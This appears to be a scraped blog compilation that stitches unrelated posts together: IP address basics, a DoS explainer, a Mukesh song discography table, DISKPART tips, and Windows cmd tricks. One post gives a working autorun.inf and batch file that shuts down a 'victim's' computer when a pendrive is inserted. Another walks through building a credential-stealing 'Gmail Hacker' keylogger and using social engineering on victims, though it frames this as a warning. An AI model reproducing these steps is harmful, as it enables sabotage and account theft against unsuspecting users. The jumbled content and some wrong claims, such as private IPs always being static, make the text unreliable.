Private and Public IP Addresses: What’s the Difference?

Internet Protocol (IP) addresses are usually of two types: Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. In this case, there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.

A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting web pages or services on the Internet. On the other hand, a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet.

Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.

You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):

10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)

Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other.

Say for example, if a network X consists of 10 computers, each of them can be given an IP starting from 192.168.1.1 to 192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).

Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.

If the private network is connected to the Internet (through an Internet connection via ISP), then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.

You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.

Common Myth about Private IP Address:

Most people assume that a private IP is the one used for stealth Internet activities and hence cannot be detected. But this is NOT TRUE!.

Unlike what most people think, a private IP address (unlike the private telephone number) is just like any other IP address that belongs to a private network. In reality, there is no public IP address that is impossible to trace as the protocol itself is designed for transparency.

What is Denial of Service (DoS) Attack?

What is a DOS Attack?

Denial of Service or DoS attack is a type of network attack designed to flood the target network or machine with a large amount of useless traffic so as to overload it and eventually bring it down to its knees. The main intention behind DoS attack is to make the services running on the target machine (such as a website) temporarily unavailable to its intended users. DoS attacks are usually carried out on web servers that host vital services such as banking, e-commerce or credit card processing.

A common variant of DOS attack known as DDoS (Distributed Denial of Service) attack has become quite popular in the recent days as it is more powerful and hard to detect. A typical DoS attack has a single place of origin while a DDoS attack originates from multiple IP addresses distributed across two or more different network. The working of a DDoS attack is shown in the following diagram:

Unlike a DoS attack where the attacker uses one single computer or a network to attack the target, a DDoS the attack originates from different pre-compromised computers belonging to different networks. As the attacker uses a number of computer systems from different networks each residing in different geographical locations, the incoming traffic looks natural and therefore becomes hard to detect.

Protection Against DoS/DDoS Attacks:

DoS attacks can easily be handled by blacklisting the target IP (or range of IPs) that are found to be making too many requests/connections (in an unnatural way) to the server. However, DDoS attacks are complicated as the incoming requests seem more natural and distributed. In this case it is hard to find the difference between the genuine and malicious traffic. Taking an action at the firewall level to blacklist suspected IPs may result in false positives and therefore may affect the genuine traffic as well.

Methods Involved in DoS Attack:

The following are some of the commonly employed methods in carrying out a DoS attack:

• SYN Flood Attack
• Ping Flood Attack (Ping of Death)
• Teardrop Attack
• Peer-to-Peer Attacks

Only Singer Whose Non Film Recordings Of Ghazals By Mukesh Kumar

he Only Singer Whose Non Film Recordings Of Ghazals ,
 Geets , Nazms  &  Bhajans Are As Popular As His Film Songs.

GHAZAL / GEET / NAZM / BHAJAN

POET

MUSIC DIRECTOR

   1. AABAD RAHO MERE DIL KO JALANE                    MADHUKAR RAJASTHANI               V.BALSARA
   2. AAJ BHI UNKI MOHHBAT KA                                          JAN NISAR AKHTAR                   VIPIN MEHRA
   3. AAJ GAGAN SE CHANDA UTRA                1963       MADHUKAR RAJASTHANI                 J.P.KOOSIK 
   4. AAJ KHARUN AWTARNU TANDU           1972                AVINASH VYAS                          AVINASH VYAS
   5. AANKHO MEIN BAS KE DIL MEIN                               JIGAR MURADABADI            MURLI MANOHAR SWARUP
   6. AAPAD SAHUVR HURTA PHARTA           1972                AVINASH VYAS                         AVINASH VYAS
   7. AB TU HAI DILGEER                                       1940
   8. AESI PAAGAL NA HO MOHABAT MEIN                    JAN NISAR AKHTAR                      VIPIN MEHRA
   9. ALLAA MOOLA DEKH JARA                       1940
 10. AMAR MONE RE                                              1967                 MUQUL DUTT                       HEMANT KUMAR
 11. AQAD KA AHSAAS BHI HOTA HAI                               BASHAR DEHALVI                               IQBAL
 12. ASHAAR MERE YUN TO ZAMANE KE      1972           JAN NISAR AKHTAR                     KHAIYYAAM 13. BAAT ADHURI RAH GAI US DIN                              MADHUKAR RAJASTHANI                 J.P.KOOSIK
 14. BAHARON SE KAH DO MERE GHAR NA  1965           SHIV KUMAR SAROJ                     KISHOR DESAI
 15. BARABAR SE BACHKAR GUJAR JANE     1960          JIGAR MURADABADI             MURLI MANOHAR SWARUP
 16. BHAMRA SARKHU MAAS MANDU          1952               RAMESH GUPTA                         JYANTI JOSHI
 17. BIGADI BAAT BANA DE RAAM                                         RAVINDRA JAIN                      RAVINDRA JAIN
 18. CHACHA NEHRU...PHOL KHILEGA                                                                                               SHAILENDRA
 19. CHALYA JA KARUN CHU                             1967                AVINASH VYAS                         AVINASH VYAS
 20. CHHOOD JHAMELA JHUTE JAG KA                        MADHUKAR RAJASTHANI                  LACHI RAM
 21. CIGRETO MEIN SABSE AALA                                            
 22. DEHER E PINJRAYE PRAN PAAKHI                                    PULAK BANARJI                     RITU MUKHARJI
 23. DEKHO NA AANCH AAYE TIRANGE KO                          HASRAT JAIPURI               SHANKAR-JAIKISHAN
 24. DIYA APNI KHUDI KO JO MITA                                                 ZAFAR                                          MUKESH
 25. DO JULMI NAINA HUM PE JULAM                                       QAIF IRFANI                                    MUKESH
 26. DOOBA SURAJ MANAVTA KA                                       PD.LALIT GOSWAMI
 27. GAAUN KAHA TAK GUN MAIN TERE                     MADHUKAR RAJASTHANI                    G.N.JOSHI
 28. GAI YAK BA YAK HAWA JO PALAT                                        ZAFAR                                           MUKESH
 29. GHADI GHUNGHAT UDAVO...NAJAR NE        1972        AVINASH VYAS                           AVINASH VYAS
 30. GOKUL NAGRI JAANA, GOKUL NAGRI                        L.A.NAJISH RIZVI
 31. GOMDANA BHAWAH CHAI O                                          RAMESH GUPTA
 32. HAAN MAIN DEEWANA...MERE MEHBOOB   1968     SOQAT PARDESI                 MURLI MANOHAR SWARUP
 33. HAAY MEHMAAN KAHA GAME JANA           1968      DAAG DEHALVI                  MURLI MANOHAR SWARUP
 34. HAI BAHUT MASHOOR YE KISSA                                    SABAAB MINAI                                     IQBAL
 35. HAI RAJ KO...LADLI MERI NAAJO                                  HASRAT JAIPURI                    SHANKAR-JAIKISHAN  36. HAR EK HUSN TERA AAINA LAGE                   1972    JAN NISAR AKHTAR                         KHAIYYAAM
 37. HE TANE JAATA TOI PANGHATNI                   1967       AVINASH VYAS                             AVINASH VYAS
 38. HONTH PAR HOY KHAMOSHI                            1949    DARA M.PRINTAR                               V.BALSARA
 39. HUM BHOOL GAYE RAAHEN IN CHANDINI                  ANJUM JAIPURI
 40. HUM RASHQ KO APNE GAWARA NAHI KARTE                 GAALIB                                        KHAIYYAAM
 41. HUM TUJHSE KIS HAWAS KI                           1968            MEER DARD                     MURLI MANOHAR SWARUP
 42. HUMSE BHAGA NA KARO DOOR                    1972      JAN NISAR AKHTAR                           KHAIYYAAM
 43. HUN JO WATAN NO THAUN TO                                      RAMESH GUPTA
 44. ILAHI KYA YE SUB E GUM HAI                        1968        SHAMIM JAIPURI                 MURLI MANOHAR SWARUP
 45. JA RE JHANDA JA RE UNCHE GAGAN                             AVINASH YYAS                             AVINASH VYAS
 46. JAHAN BHI DEKHA UNHEN SUR JHUKA      1968     ISHRAT JAHAN BEGUM        MURLI MANOHAR SWARUP
 47. JANE JIGARNO MEETHE PYAR                         1957          DARA M.PRINTAR              KERSI MISTRI & ORCH.
 48. JEHALE MISQIN MAKUN TAGAFUL                                    AMEER KHUSRO              MURLI MANOHAR SWARUP
 49. JHUN JHUN MOYANA                                                           SALIL CHAUDHARY               SALIL CHAUDHARY
 50. JIYENGE MAGAR MUSQARA NA SAKENGE  1952               QAIF IRFANI                                 MUKESH
 51. JOSHE GIRINYA SE YE AANKHE                                            GAALIB / DAAG               MURLI MANOHAR SWARUP
 52. KHIZAN KE DAUR MEIN AISE BHI                  1968          RAAJ ALAHABADI            MURLI MANOHAR SWARUP
 53. KISI KO DEKE DIL KOI                                                              GAALIB / DAAG               MURLI MANOHAR SWARUP
 54. KOYALIYA TERE BOL SUNE TO                                                ENDEEWAR                    MURLI MANOHAR SWARUP  55. KYUN PHERI NAZAR,DEKHO TO IDHAR       1948        ANJUM PELEBHEET                            NAUSHAD
 56. MAHTAB SUM MADHURO DILKAS               1949          DARA M.PRINTAR                            V.BALSARA
 57. MAIN AGNI DESH SE AATA HUN
 58. MAND BOLO LOK                                                 1972              MITTU GHOSH                                V.BALSARA 59. MANKE KICHHU BOLO NA                                1967              MUQUL DUTT                            HEMANT KUMAR  60. MARA BHOLA DILNU HAAY RE                      1949            RAMESH GUPTA
 61. MAT RO,MAT RO BHARAT MATA                                    LALIT GOSWAMI  62. MATRI BHAVNU PAVITRA JHARNU              1968       PU.CHITRA BHANU M.            KALYANJI-ANANDJI
 63. MERI ANDHERI KUTIYA MEIN VO AAYE
 64. MIL NA SAKA DIL KO AGAR                                                     ENDEEWAR                              KISHOR DESAI  65. MON MATAL SANJH SAKAL                                              SALIL CHAUDHARY               SALIL CHAUDHARY
 66. MUJHSE YUN ROOTH KAR KYON DOOR                          SHIV KUMAR SAROJ                   KISHOR DESAI
 67. NA HUI GAR MERE MARNE SE                                                       GAALIB                                  KHAIYYAAM  68. NA TAABE MASTI NA HOSHE HASTI           1968          JIGAR MURADABADI          MURLI MANOHAR SWARUP
 69. NAITIKTA KI SUR SARITA MEIN                                   AACHARYA SHRI TULSI                  KISHOR DESAI
 70. NAIYA PADI MAJHDHAR GURU BINA                                       KABIR                            MURLI MANOHAR SWARUP
 71. O GO AABAR NOTUN KORE                                                   PULAK BANARJI                        RITU MUKHARJI  72. O MOYANE RE                                                                               MITTU GHOSH                            V.BALSARA  73. O NEEL GAGANAA PUNKHI RE TU                 1949               RAMESH GUPTA
 74. PITU MATU SAHAYAK SWAMI SAKHA                                                                                NARESH BHATACHARYA
 75. PRABHU KA NAAM JAPO MAN MERE                                 RAVINDRA JAIN                          RAVINDRA JAIN
 76. PRABHU MAIN AAP HI AAP BULAYA                                  RAVINDRA JAIN                          RAVINDRA JAIN
 77. PREET KA JINA HAI JINA
 78. PREETDE BANDHATA RE MANDA                 1952                RAMESH GUPTA                          JYANTI JOSHI
 79. PREETNI PUSP...AAVO TOY SARU                   1967                AVINASH VYAS                           AVINASH VYAS  80. PUNKHI RE PINJURU JHUNU JHUNU               1967                AVINASH VYAS                           AVINASH VYAS  81. RAHI HAIN DAAD TALAB UNKI                      1972            JAN NISAR AKHTAR                        KHAIYYAAM  82. RAM BHAROSE...RAM KARE SO HOY                              MADHUKAR RAJASTHANI                LACHI RAM
 84. RAM RAM,RAM NAAM RAT RE                                                 RAVINDRA JAIN                      RAVINDRA JAIN
 85. RUTHI HUI TAQDIR KO AB KAISE                                     MADHUKAR RAJASTHANI              V.A.BALSARA
 86. SAANVAR YAAR ATA SE                                  1940
 87. SANAM JO TU BANE GUL TO                           1957          DARA M.PRINTAR                    KERSI MISTRI & ORCH.
 88. SHIRDI KE SAAI BABA TERI DUHAI                                      BHARAT VYAS                       C.RAMCHANDRA
 89. SUNAUN KYA MAIN GHUM APNA                 1949       MAJROOH SULTANPURI                  NAUSHAD
 90. SUR KI GATI MAIN KYA JAANU                                                                                           NARESH BHATACHARYA
 91. TAWMEV MATA...JINKE HIRDAY SHRIRAM                    S. K. DEEPAK                     MURLI MANOHAR SWARUP
 92. TERE LABON KE MUQABIL GULAAB           1965         SHIV KUMAR SAROJ                      KISHOR DESAI
 93. THAR THARA UTHTI HAI KHAMOSH                          JAN NISAR AKHTAR                        KHAIYYAAM
 94. TU MERE SAATH CHAL NA PAYEGI                             SAMEEM SAHABADI                       VIPIN MEHRA
 95. TULSI RAMAYAN ARNAYA/KISKINDHA 1973    PD.NARENDRA SHARMA            MURLI MANOHAR SWARUP
 96. TULSI RAMAYAN AYODHYA KAND I       1973    PD.NARENDRA SHARMA            MURLI MANOHAR SWARUP
 97. TULSI RAMAYAN AYODHYA KAND II     1973    PD.NARENDRA SHARMA             MURLI MANOHAR SWARUP
 98. TULSI RAMAYAN BAL KAND I                   1973    PD.NARENDRA SHARMA             MURLI MANOHAR SWARUP
 99. TULSI RAMAYAN BAL KAND II                 1973     PD.NARENDRA SHARMA             MURLI MANOHAR SWARUP
100.TULSI RAMAYAN SUNDAR KAND            1974     PD.NARANDRA SHARMA            MURLI MANOHAR SWARUP
101.TULSI RAMAYAN LANKA KAND              1976     PD.NARENDRA SHARMA             MURLI MANOHAR SWARUP 102.TULSI RAMAYAN LANKA KAND/UTTAR 1976  PD.NARANDRA SHARMA            MURLI MANOHAR SWARUP
103. TUM AAJ HANSTE HO HANS LO MUJH   1968          SOQAT PARDESI                       MURLI MANOHAR SWARUP
104. TUM KAHA CHHIPE BHAGWAN KARO                          S. K. DEEPAK                         MURLI MANOHAR SWARUP
105. TUNE RAAT GANWAI SOY KE                                                KABIR                                 MURLI MANOHAR SWARUP
106. UMAR FAARUQE AAZAM KI JAHAN                         BASHAR DEHALVI                                     IQBAL 107. VO JO RUTHE TO MANANA CHAHIYE                           GAALIB / JIGAR                      MURLI MANOHAR SWARUP
108. ZARA SI BAAT PE HAR RUSM TOOD       1968           JAN NISAR AKHTAR                         KHAIYYAAM109. ZEHRA NE TEEN JO ROJE JO RAKHE                                BASHAR DEHALVI                                  IQBAL

Command Prompt Hacks |How to hide partition

Here is an interesting command prompt hack .You can hide, assign, delete etc. disk partition in few steps.
1.Select Start , then Run , in Run option type cmd. (or  start->All Programs->Accessories->Command Prompt)
2.In Command Prompt (cmd) type DISKPART

3. Then type LIST VOLUME, after this you will get an partition  overview, as shown below

4. Type SELECT VOLUME (number) , press ENTER on keyboard, then type  REMOVE LETTER (letter )as shown below 

5.After this disk partition will be hidden. How to return disk partition? Easy, just typeASSIGN LETTER (letter), as shown beloww

With Command Prompt (cmd) , you can manipulate  disk partition. Here is list of possibility:

Hack Friends ComPuter Using Pendrive

Step 1:>>copy this  code into notepad: 
@echo off
shutdown -s -t 00
Save as besthacking.bat extension (for eg: besthacking.bat). 
Step 2:
      Now open the notepad and copy this code: 
[autorun]
Open=besthacking.bat
Action=Mouse Disable

   Save it as "autorun.inf" 
Step 3:
         Then copy the two files in your pen drive or victim's pen drive. 
That's all whenever the victim insert his pen drive,the system will be turned off automatically.
 
Check How to Disable This:-

First Stop Autorun in Your Computer And Then Format Pendrive.. 

Gmail Hacker | Fake Tool to Hack Gmail Accounts

Hey friends, today i am going to disclose some irony stuff that Hackers nowadays using to make people fool these days. Hackers are spreading a software tool named as Gmail Hacker v1.0 on the internet with title " Hack Gmail Accounts using Gmail Hacker" or "Gmail Hacker : A superb Gmail Account Hacking tool". But beware of such articles because its nothing more than a smart keylogger which is actually intended to hack users credentials that user gonna use to hack somebody's gmail account. Let us discuss the process in detail:

First of all frankly speaking, Gmail Hacker is a hacking tool( or i better call it social engineering hacking tool) which can be used in either way like Hacking someone's Gmail account and at same time loosing your Gmail Account( if not handled with extreme care). So friends which process you all wanna learn first. Hacking one or getting Hacked one.. or both at same time going step by step :P.

For Having a trail of Gmail Hacker tool you gonna need below stuff:

• Download .Net Framework
• Gmail hacker
• Winrar (In order to extract the files) 

Now lets go step by step for the Hacking procedure:

Gmail Hacker for Hacking Gmail Accounts:

Step 1 - Extract the arhive named Gmail.rar on your computer, Once you have extracted you will see the following file:

Builder.exe

Step 2 - On opening Gmail hacker builder.exe you will see the following:

Step 3 - Next you need to enter your gmail address where you would receive logs. However I would recommend you to create a fake email address and use it for receiving logs. 

Step 4 - Once you have entered your credentials, click on the build button. 

Step 5 - A file named gmailhacker.exe would be created, On executing the file, the victim will see the following: 

Now you need to apply your social engineering skills in order to make the victim enter his/her credentials on to the software. The simplest way of accomplishing this is to tell the victim that the application Gmailhacker.exe is itself a gmail hacking software, You just need to the victim's username, your own gmail ID and your own gmail password, where you would receive victims passwords and click "Hack Them".

Step 6 - Once the victim clicks on the "Hack Them" button, his own gmail credentials that he entered would be sent to you on the email you typed while configuring the software. 

Well, here is an interesting part, when the victim will click on the button "Hack them", he will receive the following error, making him thinking that their is a problem with the software:

Now i hope you all understood which part you need to provide credentials and which part you need to provide the fake account credentials that you have recently created.

Irony Part : The file that is being generated by builder.exe i.e. Gmail Hacker.exe is a advance type of remote keylogger which will sent the credentials you have entered into the Gmail Hacker option menu to the hacker who has build the Gmail Hacker.exe file. So important part never put your original account credential in any of such tools which gurantees that they can hack email accounts or facebook accounts because all are simply fake. They are just cool social engineering stuff which is used to make newbie Hackers or users fool to hacker their Gmail accounts.

- See more at: http://hacks-pc.blogspot.in/2013/08/gmail-hacker-fake-tool-to-hack-gmail.html#sthash.XdkRyqiS.dpuf

How To Print Out A List Of All Files In A Folder

1. Go to Start, then click Run. In Run option type cmd and click OK.
2. After this will open cmd.exe ,find folder which you want to print out with cmd, If you do not know how to move through the directories using cmd, see this post: How to find directories with cmd.
3. When you find specified folder, with this command dir > list.txt, you´ll create text document with list of files.
Example:
I want to print list of all files in folder with path E:\movies
In cmd I´ll write E: and press enter , then write cd and with TAB find folder movies and press enter . Then write dir > list.txt In folder with path E:\movies I will find text document list. txt . Open that text document and print out. It looks like this

After this list.txt created in E:movies

List.txt looks like this